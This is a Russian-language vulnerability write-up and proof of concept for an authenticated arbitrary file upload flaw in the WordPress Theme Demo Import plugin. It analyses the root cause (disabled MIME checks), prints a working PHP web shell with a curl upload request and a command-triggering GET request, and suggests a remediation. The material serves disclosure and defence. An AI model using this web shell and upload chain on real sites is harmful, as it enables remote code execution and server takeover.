
Концепт-доказательство и анализ первопричины аутентифицированной произвольной загрузки файлов в WordPress Theme Demo Import, приводящей к удаленному выполнению кода через PHP-веб-шелл.
CVE-2026-13157 — это аутентифицированная уязвимость произвольной загрузки файлов, затрагивающая плагин WordPress Theme Demo Import версий, предшествующих 1.1.3 и включая её, обнаруженная и проанализированная исследователем кибербезопасности Хьюном Кьен Минем (MinhHK). Уязвимость существует в процедуре AJAX-импорта демо-данных (TDI_import_demo_data), где плагин явно отключает стандартные проверки типов файлов WordPress ('test_type' => false) при обработке загрузки. Аутентифицированный пользователь, обладающий правами импорта — например, администратор сайта по умолчанию или администратор сайта, не являющийся суперадминистратором, в архитектуре WordPress Multisite — может обойти ограничения на загрузку файлов и загрузить произвольные исполняемые PHP-скрипты напрямую в публичную директорию wp-content/uploads/, получив устойчивое удалённое выполнение кода (RCE) и полную компрометацию сервера.
| Параметр | Техническая спецификация |
|---|---|
| Идентификатор уязвимости | CVE-2026-13157 |
| Целевое ПО | Theme Demo Import (плагин WordPress) |
| Слаг плагина | theme-demo-import |
| Затронутые версии | <= 1.1.3 |
| Класс уязвимости | Неограниченная загрузка файла опасного типа (CWE-434 / OWASP A03) |
| Оценка CVSS v3.1 | 6.6 (Средний) (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H) |
| Первооткрыватель / Исследователь | Huynh Kien Minh (MinhHK) |
| Верифицирующий орган | WPScan / MITRE Corporation |
| URL рекомендации WPScan | https://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/ |
| Портфолио исследователя | https://minhhk.web.app/ |
Корневая причина CVE-2026-13157 кроется в архитектуре обработки загрузки файлов, реализованной в inc/class-tdi-helpers.php. Во время операций импорта демо-данных плагин обрабатывает входящие файлы через AJAX-эндпоинт, зарегистрированный в inc/class-tdi-main.php в строке 55:
// inc/class-tdi-main.php: Line 55
add_action( 'wp_ajax_TDI_import_demo_data', array( $this, 'import_demo_data_ajax_callback' ) );
При обработке загруженных файлов конфигурации демо-данных (content_file, widget_file и customizer_file) внутренний метод импорта напрямую предписывает API WordPress wp_handle_upload() обходить проверки MIME-типа файлов и формы:
// inc/class-tdi-helpers.php: Lines 495 - 506
// Upload settings to disable form and type testing for AJAX uploads.
$upload_overrides = array(
'test_form' => false,
'test_type' => false, // CRITICAL VULNERABILITY: Disables MIME and file extension verification!
);
// Handle demo content and widgets file upload.
$content_file_info = wp_handle_upload( $_FILES['content_file'], $upload_overrides );
$widget_file_info = wp_handle_upload( $_FILES['widget_file'], $upload_overrides );
$customizer_file_info = wp_handle_upload( $_FILES['customizer_file'], $upload_overrides );
Передавая 'test_type' => false в $upload_overrides, разработчик переопределил штатную подсистему проверки MIME ядра WordPress (wp_check_filetype_and_ext()). Прямым следствием этого стало то, что приложение больше не ограничивает прикрепляемые файлы безопасными форматами демо-данных (.xml, .json, .wie, .dat), позволяя любому аутентифицированному пользователю с доступом к странице настроек загружать исполняемые PHP-скрипты (.php, .phtml, .phar) прямо в публичный корневой каталог веб-сервера.
Дисклеймер об этичном исследовании: Данный proof of concept документирован строго для образовательного аудита, защитного проектирования и авторизованной проверки безопасности. Несанкционированная эксплуатация боевых систем запрещена.
<= 1.1.3.import (Администратор / Администратор сайта Multisite).tdi-ajax-verification (доступен в DOM страницы как свойство JavaScript-объекта tdi.ajax_nonce на /wp-admin/themes.php?page=theme-demo-import).exploit_webshell.php:<?php
if(isset($_REQUEST['cmd'])){
system($_REQUEST['cmd']);
} else {
echo "CVE-2026-13157 Exploitation Verified by Huynh Kien Minh!";
}
?>
curl -i -s -X POST "http://<TARGET_HOST>/wp-admin/admin-ajax.php" \
-H "Cookie: wordpress_logged_in_xxxxxx=yyyyyy" \
-F "action=TDI_import_demo_data" \
-F "security=<RETRIEVED_TDI_AJAX_NONCE>" \
-F "content_file=@exploit_webshell.php;type=application/x-php"
GET /wp-content/uploads/2026/08/exploit_webshell.php?cmd=whoami HTTP/1.1
Host: <TARGET_HOST>
Хотя в одностраничных установках WordPress стандартные администраторы получают доверенный контроль над серверной средой, CVE-2026-13157 вызывает критическое разрушение границ безопасности в корпоративных (Enterprise) и Multisite-развёртываниях:
unfiltered_upload зарезервирована исключительно за сетевыми суперадминистраторами). CVE-2026-13157 полностью разрушает эту мультитенантную изоляцию, позволяя непроверенному администратору подсайта разместить веб-шелл и выполнять системные команды во всей серверной сети.DISALLOW_FILE_EDIT). Данная уязвимость обходит ограничения хостинга, используя собственный механизм передачи файлов плагина для записи произвольного исполняемого кода непосредственно в доступное для записи хранилище.Для безопасного устранения CVE-2026-13157 сопровождающие программное обеспечение и специалисты по защите должны немедленно восстановить строгую проверку MIME-типов и расширений файлов в логике обработки загрузки в inc/class-tdi-helpers.php.